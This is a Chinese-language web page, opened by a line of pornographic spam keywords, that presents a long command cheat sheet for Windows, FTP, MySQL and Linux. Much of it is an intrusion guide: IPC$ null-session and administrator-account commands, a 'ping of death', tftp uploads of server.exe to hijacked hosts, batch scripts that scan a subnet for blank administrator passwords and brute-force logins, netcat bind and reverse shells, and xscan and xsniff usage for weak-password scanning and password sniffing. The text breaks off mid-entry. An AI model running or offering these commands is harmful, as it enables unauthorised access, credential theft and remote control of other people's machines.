国产精品吹潮在线播放,日韩一区二区三区在线播放,啊级免费黄片视频,66av视频

局域網(wǎng)dos命令集

net use //ip/ipc$ " " /user:" " 建立IPC空鏈接

net use //ip/ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接

net use h: //ip/c$ "密碼" /user:"用戶名" 直接登陸后映射對方C：到本地為H:

net use h: //ip/c$ 登陸后映射對方C：到本地為H:

net use //ip/ipc$ /del 刪除IPC鏈接

net use h: /del 刪除映射對方到本地的為H:的映射

net user 用戶名 密碼/add 建立用戶

net user g

st /active:yes 激活g

st用戶

net user 查看有哪些用戶

net user 帳戶名 查看帳戶的屬性

net localgroup ***istrators 用戶名/add 把“用戶”添加到管理員中使其具有管理員權(quán)限,注意：***istrator后加s用復(fù)數(shù)

net start 查看開啟了哪些服務(wù)

net start 服務(wù)名 開啟服務(wù);(如:net start telnet，net start schedule)

net stop 服務(wù)名 停止某服務(wù)

net time //目標ip 查看對方時間

net time //目標ip /set 設(shè)置本地計算機時間與“目標IP”主機的時間同步,加上參數(shù)/yes可取消確認信息

net view 查看本地局域網(wǎng)內(nèi)開啟了哪些共享

net view //ip 查看對方局域網(wǎng)內(nèi)開啟了哪些共享

net config 顯示系統(tǒng)網(wǎng)絡(luò)設(shè)置

net logoff 斷開連接的共享

net pause 服務(wù)名 暫停某服務(wù)

net send ip "文本信息" 向?qū)Ψ桨l(fā)信息

net ver 局域網(wǎng)內(nèi)正在使用的網(wǎng)絡(luò)連接類型和信息

net share 查看本地開啟的共享

net share ipc$ 開啟ipc$共享

net share ipc$ /del 刪除ipc$共享

net share c$ /del 刪除C：共享

net user g

st 12345 用g

st用戶登陸后用將密碼改為12345

net password 密碼 更改系統(tǒng)登陸密碼

netstat -a 查看開啟了哪些端口,常用netstat -an

netstat -n 查看端口的網(wǎng)絡(luò)連接情況，常用netstat -an

netstat -v 查看正在進行的工作

netstat -p 協(xié)議名 例：netstat -p tcq/ip 查看某協(xié)議使用情況(查看tcp/ip協(xié)議使用情況)

netstat -s 查看正在使用的所有協(xié)議使用情況

nbtstat -A ip 對方136到139其中一個端口開了的話，就可查看對方最近登陸的用戶名(03前的為用戶名)-注意：參數(shù)-A要大寫

tracert -參數(shù)ip(或計算機名) 跟蹤路由(數(shù)據(jù)包)，參數(shù)：“-w數(shù)字”用于設(shè)置超時間隔。

ping ip(或域名) 向?qū)Ψ街鳈C發(fā)送默認大小為32字節(jié)的數(shù)據(jù)，參數(shù)：“-l[空格]數(shù)據(jù)包大小”;“-n發(fā)送數(shù)據(jù)次數(shù)”;“-t”指一直ping。

ping -t -l 65550 ip 死亡之ping(發(fā)送大于64K的文件并一直ping就成了死亡之ping)

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用參數(shù)“/all”顯示全部配置信息

tlist -t 以樹行列表顯示進程(為系統(tǒng)的附加工具，默認是沒有安裝的，在安裝目錄的Support/tools文件夾內(nèi))

kill -F 進程名 加-F參數(shù)后強制結(jié)束某進程(為系統(tǒng)的附加工具，默認是沒有安裝的，在安裝目錄的Support/tools文件夾內(nèi))

del -F 文件名 加-F參數(shù)后就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統(tǒng)、存檔文件，/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統(tǒng)、存檔以外的文件。例如“DEL/AR *.*”表示刪除當前目錄下所有只讀文件，“DEL/A-S *.*”表示刪除當前目錄下除系統(tǒng)文件以外的所有文件

#2 二：

del /S /Q 目錄 或用：rmdir /s /Q 目錄/S刪除目錄及目錄下的所有子目錄和文件。同時使用參數(shù)/Q 可取消刪除操作時的系統(tǒng)確認就直接刪除。(二個命令作用相同)

move 盤符/路徑/要移動的文件名 存放移動文件的路徑/移動后文件名 移動文件,用參數(shù)/y將取消確認移動目錄存在相同文件的提示就直接覆蓋

fc one.txt two.txt > 3st.txt 對比二個文件并把不同之處輸出到3st.txt文件中，"> "和"> >" 是重定向命令

at id號 開啟已注冊的某個計劃任務(wù)

at /delete 停止所有計劃任務(wù)，用參數(shù)/yes則不需要確認就直接停止

at id號/delete 停止某個已注冊的計劃任務(wù)

at 查看所有的計劃任務(wù)

at //ip time 程序名(或一個命令) /r 在某時間運行對方某程序并重新啟動計算機

finger username @host 查看最近有哪些用戶登陸

telnet ip 端口 遠和登陸服務(wù)器,默認端口為23

open ip 連接到IP(屬telnet登陸后的命令)

telnet 在本機上直接鍵入telnet 將進入本機的telnet

copy 路徑/文件名1 路徑/文件名2 /y 復(fù)制文件1到指定的目錄為文件2，用參數(shù)/y就同時取消確認你要改寫一份現(xiàn)存目錄文件

copy c:/srv.exe //ip/***$ 復(fù)制本地c:/srv.exe到對方的***下

cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內(nèi)容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件頭要空三排，參數(shù)：/b指二進制文件，/a指ASCLL格式文件

copy //ip/***$/svv.exe c:/ 或:copy//ip/***$/*.* 復(fù)制對方***i$共享下的srv.exe文件(所有文件)至本地C：

xcopy 要復(fù)制的文件或目錄樹 目標地址/目錄名 復(fù)制文件和目錄樹，用參數(shù)/Y將不提示覆蓋相同文件

tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:/server.exe 登陸后，將“IP”的server.exe下載到目標主機c:/server.exe 參數(shù)：-i指以二進制模式傳送，如傳送exe文件時用，如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送

tftp -i 對方IP put c:/server.exe 登陸后，上傳本地c:/server.exe至主機

ftp ip 端口 用于上傳文件至服務(wù)器或進行文件操作，默認端口為21。bin指用二進制方式傳送(可執(zhí)行文件進);默認為ASCII格式傳送(文本文件時)

route print 顯示出IP路由，將主要顯示網(wǎng)絡(luò)地址Network addres，子網(wǎng)掩碼Netmask，網(wǎng)關(guān)地址Gateway addres，接口地址Interface

arp 查看和處理ARP緩存，ARP是名字解析的意思，負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息

start 程序名或命令/max 或/min 新開一個新窗口并最大化(最小化)運行某程序或命令

mem 查看cpu使用情況

attrib 文件名(目錄名) 查看某文件(目錄)的屬性

attrib 文件名-A -R -S -H 或+A +R +S +H 去掉(添加)某文件的 存檔，只讀，系統(tǒng)，隱藏 屬性;用+則是添加為某屬性

dir 查看文件，參數(shù)：/Q顯示文件及目錄屬系統(tǒng)哪個用戶，/T:C顯示文件創(chuàng)建時間，/T:A顯示文件上次被訪問時間，/T:W上次被修改時間

date /t 、time /t 使用此參數(shù)即“DATE/T”、“TIME/T”將只顯示當前日期和時間，而不必輸入新日期和時間

set 指定環(huán)境變量名稱=要指派給變量的字符 設(shè)置環(huán)境變量

set 顯示當前所有的環(huán)境變量

set p(或其它字符) 顯示出當前以字符p(或其它字符)開頭的所有環(huán)境變量

pause 暫停批處理程序，并顯示出：請按任意鍵繼續(xù)....

if 在批處理程序中執(zhí)行條件處理(更多說明見if命令及變量)

goto 標簽 將cmd.exe導(dǎo)向到批處理程序中帶標簽的行(標簽必須單獨一行，且以冒號打頭，例如：“：start”標簽)

call 路徑/批處理文件名 從批處理程序中調(diào)用另一個批處理程序 (更多說明見call /?)

for 對一組文件中的每一個文件執(zhí)行某個特定命令(更多說明見for命令及變量)

echo on或off 打開或關(guān)閉echo，僅用echo不加參數(shù)則顯示當前echo設(shè)置

echo 信息 在屏幕上顯示出信息

echo 信息>> pass.txt 將"信息"保存到pass.txt文件中

findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello

find 文件名 查找某文件

title 標題名字 更改CMD窗口標題名字

color 顏色值 設(shè)置cmd控制臺前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白

prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:/、D:/統(tǒng)一改為：EntSky/ )

#3 三：

ver 在DOS窗口下顯示版本信息

winver 彈出一個窗口顯示版本信息(內(nèi)存大孝系統(tǒng)版本、補丁版本、計算機名)

format 盤符/FS:類型 格式化磁盤,類型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS

md 目錄名 創(chuàng)建目錄

replace 源文件 要替換文件的目錄 替換文件

ren 原文件名 新文件名 重命名文件名

tree 以樹形結(jié)構(gòu)顯示出目錄，用參數(shù)-f 將列出第個文件夾中文件名稱

type 文件名 顯示文本文件的內(nèi)容

more 文件名 逐屏顯示輸出文件

doskey 要鎖定的命令=字符

doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行，重新調(diào)用win2k命令，并創(chuàng)建宏)。如：鎖定dir命令：doskey dir=entsky (不能用doskey dir=dir);解鎖：doskey dir=

taskmgr 調(diào)出任務(wù)管理器

chkdsk /F D: 檢查磁盤D并顯示狀態(tài)報告;加參數(shù)/f并修復(fù)磁盤上的錯誤

tlntadmn telnt服務(wù)admn,鍵入tlntadmn選擇3，再選擇8,就可以更改telnet服務(wù)默認端口23為其它任何端口

exit 退出cmd.exe程序或目前，用參數(shù)/B則是退出當前批處理腳本而不是cmd.exe

path 路徑/可執(zhí)行文件的文件名 為可執(zhí)行文件設(shè)置一個路徑。

cmd 啟動一個win2K命令解釋窗口。參數(shù)：/eff、/en 關(guān)閉、開啟命令擴展;更我詳細說明見cmd /?

regedit /s 注冊表文件名 導(dǎo)入注冊表;參數(shù)/S指安靜模式導(dǎo)入，無任何提示;

regedit /e 注冊表文件名 導(dǎo)出注冊表

cacls 文件名 參數(shù) 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數(shù)：/D 用戶名:設(shè)定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問權(quán)限;/G 用戶名:perm 賦予指定用戶訪問權(quán)限;Perm 可以是: N 無，R 讀取，W 寫入，C 更改(寫入)，F(xiàn) 完全控制;例：cacls D:/test.txt /D p 設(shè)定d:/test.txt拒絕p 用戶訪問。

cacls 文件名 查看文件的訪問用戶權(quán)限列表

REM 文本內(nèi)容 在批處理文件中添加注解

netsh 查看或更改本地網(wǎng)絡(luò)配置情況

#4 四：

IIS服務(wù)命令：

iisreset /reboot 重啟win2k計算機(但有提示系統(tǒng)將重啟信息出現(xiàn))

iisreset /start或stop 啟動(停止)所有Internet服務(wù)

iisreset /restart 停止然后重新啟動所有Internet服務(wù)

iisreset /status 顯示所有Internet服務(wù)狀態(tài)

iisreset /enable或disable 在本地系統(tǒng)上啟用(禁用)Internet服務(wù)的重新啟動

iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務(wù)時，若發(fā)生錯誤將重新開機

iisreset /noforce 若無法停止Internet服務(wù)，將不會強制終止Internet服務(wù)

iisreset /timeout Val在到達逾時間(秒)時，仍未停止Internet服務(wù)，若指定/rebootonerror參數(shù)，則電腦將會重新開機。預(yù)設(shè)值為重新啟動20秒，停止60秒，重新開機0秒。

FTP 命令：(后面有詳細說明內(nèi)容)

ftp的命令行格式為:

ftp -v -d -i -n -g[主機名] -v 顯示遠程服務(wù)器的所有響應(yīng)信息。

-d 使用調(diào)試方式。

-n 限制ftp的自動登錄,即不使用.netrc文件。

-g 取消全局文件名。

help [命令] 或 ?[命令] 查看命令說明

bye 或quit 終止主機FTP進程,并退出FTP管理方式.

pwd 列出當前遠端主機目錄

put 或send 本地文件名[上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中

get 或recv [遠程主機文件名] [下載到本地后的文件名] 從遠端主機中傳送至本地主機中

mget [remote-files] 從遠端主機接收一批文件至本地主機

mput local-files 將本地主機中一批文件傳送至遠端主機

dir 或ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結(jié)果寫至本地文件

ascii 設(shè)定以ASCII方式傳送文件(缺省值)

bin 或image 設(shè)定以二進制方式傳送文件

bell 每完成一次文件傳送,報警提示

cdup 返回上一級目錄

close 中斷與遠程服務(wù)器的ftp會話(與open對應(yīng))

open host[port] 建立指定ftp服務(wù)器連接,可指定連接端口

delete 刪除遠端主機中的文件

mdelete [remote-files] 刪除一批文件

mkdir directory-name 在遠端主機中建立目錄

rename [from] [to] 改變遠端主機中的文件名

rmdir directory-name 刪除遠端主機中的目錄

status 顯示當前FTP的狀態(tài)

system 顯示遠端主機系統(tǒng)類型

user user-name [password] [account] 重新以別的用戶名登錄遠端主機

open host [port] 重新建立一個新的連接

prompt 交互提示模式

macdef 定義宏命令

lcd 改變當前本地主機的工作目錄,如果缺省,就轉(zhuǎn)到當前用戶的HOME目錄

chmod 改變遠端主機的文件權(quán)限

case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉(zhuǎn)換為小寫字母

cd remote-dir 進入遠程主機目錄

cdup 進入遠程主機目錄的父目錄

! 在本地機中執(zhí)行交互shell，exit回到ftp環(huán)境,如!ls*.zip

#5 五：

MYSQL 命令：

mysql -h主機地址-u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL，超級用戶root是沒有密碼的。

(例：mysql -h110.110.110.110 -Uroot -P123456

注:u與root可以不用加空格，其它也一樣)

exit 退出MYSQL

mysql*** -u用戶名-p舊密碼password 新密碼 修改密碼

grant select on 數(shù)據(jù)庫.* to 用戶名@登錄主機identified by /"密碼/"; 增加新用戶。(注意：和上面不同，下面的因為是MYSQL環(huán)境中的命令，所以后面都帶一個分號作為命令結(jié)束符)

show databases; 顯示數(shù)據(jù)庫列表。剛開始時才兩個數(shù)據(jù)庫：mysql和test。mysql庫很重要它里面有MYSQL的系統(tǒng)信息，我們改密碼和新增用戶，實際上就是用這個庫進行操作。

use mysql;

show tables; 顯示庫中的數(shù)據(jù)表

describe 表名; 顯示數(shù)據(jù)表的結(jié)構(gòu)

create database 庫名; 建庫

use 庫名;

create table 表名(字段設(shè)定列表); 建表

drop database 庫名;

drop table 表名; 刪庫和刪表

delete from 表名; 將表中記錄清空

select * from 表名; 顯示表中的記錄

mysqldump --opt school>school.bbb 備份數(shù)據(jù)庫：(命令在DOS的//mysql//bin目錄下執(zhí)行);注釋:將數(shù)據(jù)庫school備份到school.bbb文件，school.bbb是一個文本文件，文件名任取，打開看看你會有新發(fā)現(xiàn)。

win2003系統(tǒng)下新增命令(實用部份)：

shutdown /參數(shù) 關(guān)閉或重啟本地或遠程主機。

參數(shù)說明：/S 關(guān)閉主機，/R 重啟主機，/T 數(shù)字 設(shè)定延時的時間，范圍0～180秒之間，/A取消開機，/M //IP 指定的遠程主機。

例：shutdown /r /t 0 立即重啟本地主機(無延時)

taskill /參數(shù) 進程名或進程的pid 終止一個或多個任務(wù)和進程。

參數(shù)說明：/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid，/IM 要終止的進程的進程名，/F 強制終止進程，/T 終止指定的進程及他所啟動的子進程。

tasklist 顯示當前運行在本地和遠程主機上的進程、服務(wù)、服務(wù)各進程的進程標識符(PID)。

參數(shù)說明：/M 列出當前進程加載的dll文件，/SVC 顯示出每個進程對應(yīng)的服務(wù)，無參數(shù)時就只列出當前的進程。

#6 六：

Linux系統(tǒng)下基本命令： 要區(qū)分大小寫

uname 顯示版本信息(同win2K的ver)

dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的dir)

pwd 查詢當前所在的目錄位置

cd cd ..回到上一層目錄，注意cd 與..之間有空格。cd /返回到根目錄。

cat 文件名 查看文件內(nèi)容

cat >abc.txt 往abc.txt文件中寫上內(nèi)容。

more 文件名 以一頁一頁的方式顯示一個文本文件。

cp 復(fù)制文件

mv 移動文件

rm 文件名 刪除文件，rm -a 目錄名刪除目錄及子目錄

mkdir 目錄名 建立目錄

rmdir 刪除子目錄，目錄內(nèi)沒有文檔。

chmod 設(shè)定檔案或目錄的存取權(quán)限

grep 在檔案中查找字符串

diff 檔案文件比較

find 檔案搜尋

date 現(xiàn)在的日期、時間

who 查詢目前和你使用同一臺機器的人以及Login時間地點

w 查詢目前上機者的詳細資料

whoami 查看自己的帳號名稱

groups 查看某人的Group

passwd 更改密碼

history 查看自己下過的命令

ps 顯示進程狀態(tài)

kill 停止某進程

gcc 黑客通常用它來編譯C語言寫的文件

su 權(quán)限轉(zhuǎn)換為指定使用者

telnet IP telnet連接對方主機(同win2K)，當出現(xiàn)bash$時就說明連接成功。

ftp ftp連接上某服務(wù)器(同win2K)

附：批處理命令與變量

1：for命令及變量 基本格式：

FOR /參數(shù)%variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數(shù)，如：%i ，而指定一個變量則用：%%i ，而調(diào)用變量時用：%i% ，變量是區(qū)分大小寫的(%i 不等于%I)。

批處理每次能處理的變量從%0—%9共10個，其中%0默認給批處理文件名使用，%1默認為使用此批處理時輸入的的第一個值，同理：%2—%9指輸入的第2-9個值;例：net use //ip/ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件，可使用通配符，如：(D:/user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一個"1"指起始值，第二個"1"指增長量，第三個"254"指結(jié)束值，即：從1到254;“(1 -1 254)”說明：即從254到1 }

command：指定對第個文件執(zhí)行的命令，如：net use命令;如要執(zhí)行多個命令時，命令這間加：& 來隔開

command_parameters：為特定命令指定參數(shù)或命令行開關(guān)

IN (set)：指在(set)中取值;DO command ：指執(zhí)行command

參數(shù)：/L 指用增量形式{ (set)為增量形式時};/F 指從文件中不斷取值，直到取完為止{ (set)為文件時，如(d:/pass.txt)時}。

用法舉例：

@echo off

echo 用法格式：test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use //%1.%%G /user:***istrator | find "命令成功完成" >>test.txt

存為test.bat 說明：對指定的一個C類網(wǎng)段的254個IP依次試建立***istrator密碼為空的IPC$連接，如果成功就把該IP存在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位：*.*.*為批處理默認的%1;%%G 為變量(ip的最后一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$后，在結(jié)果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值，增長量，結(jié)止值。

@echo off

echo 用法格式：ok.bat ip

FOR /F %%i IN (D:/user.dic) DO smb.exe %1 %%i D:/pass.dic 200

存為：ok.exe 說明：輸入一個IP后，用字典文件d:/pass.dic來暴解d:/user.dic中的用戶密碼，直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。

#7 七：

2：if命令及變量 基本格式：

IF [not] errorlevel 數(shù)字 命令語句 如果程序運行最后返回一個等于或大于指定數(shù)字的退出編碼，指定條件為“真”。

例：IF errorlevel 0 命令 指程序執(zhí)行后返回的值為0時，就值行后面的命令;IF not errorlevel 1 命令指程序執(zhí)行最后返回的值不等于1，就執(zhí)行后面的命令。

0 指發(fā)現(xiàn)并成功執(zhí)行(真);1 指沒有發(fā)現(xiàn)、沒執(zhí)行(假)。

IF [not] 字符串1==字符串2 命令語句 如果指定的文本字符串匹配(即：字符串1 等于 字符串2)，就執(zhí)行后面的命令。

例：“if "%2%"=="4" goto start”指：如果輸入的第二個變量為4時，執(zhí)行后面的命令(注意：調(diào)用變量時就%變量名%并加" ")

IF [not] exist 文件名 命令語句 如果指定的文件名存在，就執(zhí)行后面的命令。

例：“if not nc.exe goto end”指：如果沒有發(fā)現(xiàn)nc.exe文件就跳到":end"標簽處。

IF [not] errorlevel 數(shù)字 命令語句else 命令語句或IF [not] 字符串1==字符串2 命令語句else 命令語句或IF [not] exist 文件名 命令語句else 命令語句 加上：else 命令語句后指：當前面的條件不成立時，就指行else后面的命令。注意：else 必須與if 在同一行才有效。 當有del命令時需把del命令全部內(nèi)容用< >括起來，因為del命令要單獨一行時才能執(zhí)行，用上< >后就等于是單獨一行了;例如：“if exist test.txt. else echo test.txt.missing ”，注意命令中的“.”

(二)系統(tǒng)外部命令(均需下載相關(guān)工具)：

1、瑞士軍刀：nc.exe

參數(shù)說明：

-h 查看幫助信息

-d 后臺模式

-e prog程序重定向，一但連接就執(zhí)行〔危險〕

-i secs延時的間隔

-l 監(jiān)聽模式，用于入站連接

-L 監(jiān)聽模式，連接天閉后仍然繼續(xù)監(jiān)聽，直到CTR+C

-n IP地址，不能用域名

-o film記錄16進制的傳輸

-p[空格]端口 本地端口號

-r 隨機本地及遠程端口

-t 使用Telnet交互方式

-u P模式

-v 詳細輸出，用-vv將更詳細

-w數(shù)字timeout延時間隔

-z 將輸入，輸出關(guān)掉(用于掃錨時)

基本用法：

nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80端口

nc -l -p 80 開啟本機的TCP 80端口并監(jiān)聽

nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024端口

nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354端口

nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell并反向連接192.168.0.2的5354端口

高級用法：

nc -L -p 80 作為蜜罐用1：開啟并不停地監(jiān)聽80端口，直到CTR+C為止

nc -L -p 80 > c:/log.txt 作為蜜罐用2：開啟并不停地監(jiān)聽80端口，直到CTR+C,同時把結(jié)果輸出到c:/log.txt

nc -L -p 80 < c:/honeyport.txt 作為蜜罐用3-1：開啟并不停地監(jiān)聽80端口，直到CTR+C,并把c:/honeyport.txt中內(nèi)容送入管道中，亦可起到傳送文件作用

type.exe c:/honeyport | nc -L -p 80 作為蜜罐用3-2：開啟并不停地監(jiān)聽80端口，直到CTR+C,并把c:/honeyport.txt中內(nèi)容送入管道中,亦可起到傳送文件作用

本機上用：nc -l -p 本機端口

在對方主機上用：nc -e cmd.exe 本機IP -p 本機端口*win2K

nc -e /bin/sh 本機IP -p 本機端口*linux,unix 反向連接突破對方主機的防火墻

本機上用：nc -d -l -p 本機端口< 要傳送的文件路徑及名稱

在對方主機上用：nc -vv 本機IP 本機端口> 存放文件的路徑及名稱 傳送文件到對方主機

備 注：

| 管道命令

< 或> 重定向命令?！?lt;”，例如：tlntadmn < test.txt 指把test.txt的內(nèi)容賦值給tlntadmn命令

@ 表示執(zhí)行@后面的命令，但不會顯示出來(后臺執(zhí)行);例：@dir c:/winnt >> d:/log.txt 意思是：后臺執(zhí)行dir，并把結(jié)果存在d:/log.txt中

>與>>的區(qū)別">"指：覆蓋;">>"指：保存到(添加到)。

如：@dir c:/winnt >> d:/log.txt和@dir c:/winnt > d:/log.txt二個命令分別執(zhí)行二次比較看：用>>的則是把二次的結(jié)果都保存了，而用：>則只有一次的結(jié)果，是因為第二次的結(jié)果把第一次的覆蓋了。

#8 八：

2、掃錨工具：xscan.exe

基本格式

xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息

xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息

檢測項目

-active 檢測主機是否存活

-os 檢測遠程操作系統(tǒng)類型(通過NETBIOS和SNMP協(xié)議)

-port 檢測常用服務(wù)的端口狀態(tài)

-ftp 檢測FTP弱口令

-p 檢測FTP服務(wù)匿名用戶寫權(quán)限

-pop3 檢測POP3-Server弱口令

-smtp 檢測SMTP-Server漏洞

-sql 檢測SQL-Server弱口令

-smb 檢測NT-Server弱口令

-iis 檢測IIS編碼/解碼漏洞

-cgi 檢測CGI漏洞

-nasl 加載Nessus攻擊腳本

-all 檢測以上所有項目

其它選項

-i 適配器編號 設(shè)置網(wǎng)絡(luò)適配器, <適配器編號>可通過"-l"參數(shù)獲取

-l 顯示所有網(wǎng)絡(luò)適配器

-v 顯示詳細掃描進度

-p 跳過沒有響應(yīng)的主機

-o 跳過沒有檢測到開放端口的主機

-t 并發(fā)線程數(shù)量,并發(fā)主機數(shù)量 指定最大并發(fā)線程數(shù)量和并發(fā)主機數(shù)量, 默認數(shù)量為100,10

-log 文件名 指定掃描報告文件名(后綴為：TXT或HTML格式的文件)

用法示例

xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網(wǎng)段內(nèi)主機的所有漏洞，跳過無響應(yīng)的主機

xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網(wǎng)段內(nèi)主機的標準端口狀態(tài)，NT弱口令用戶，最大并發(fā)線程數(shù)量為150，跳過沒有檢測到開放端口的主機

xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測“hostlist.txt”文件中列出的所有主機的標準端口狀態(tài)，CGI漏洞，最大并發(fā)線程數(shù)量為200，同一時刻最多檢測5臺主機，顯示詳細檢測進度，跳過沒有檢測到開放端口的主機

#9 九：

3、命令行方式嗅探器: xsniff.exe

可捕獲局域網(wǎng)內(nèi)FTP/SMTP/POP3/HTTP協(xié)議密碼

參數(shù)說明

-tcp 輸出TCP數(shù)據(jù)報

- p 輸出P數(shù)據(jù)報

-icmp 輸出ICMP數(shù)據(jù)報

-pass 過濾密碼信息

-hide 后臺運行

-host 解析主機名

-addr IP地址 過濾IP地址

-port 端口 過濾端口

-log 文件名 將輸出保存到文件

-asc 以ASCII形式輸出

-hex 以16進制形式輸出

用法示例

xsniff.exe -pass -hide -log pass.log 后臺運行嗅探密碼并將密碼信息保存在pass.log文件中

xsniff.exe -tcp - p -asc -addr 192.168.1.1 嗅探192.168.1.1并過濾tcp和p信息并以ASCII格式輸出

4、終端服務(wù)密碼破解: tscrack.exe

參數(shù)說明

-h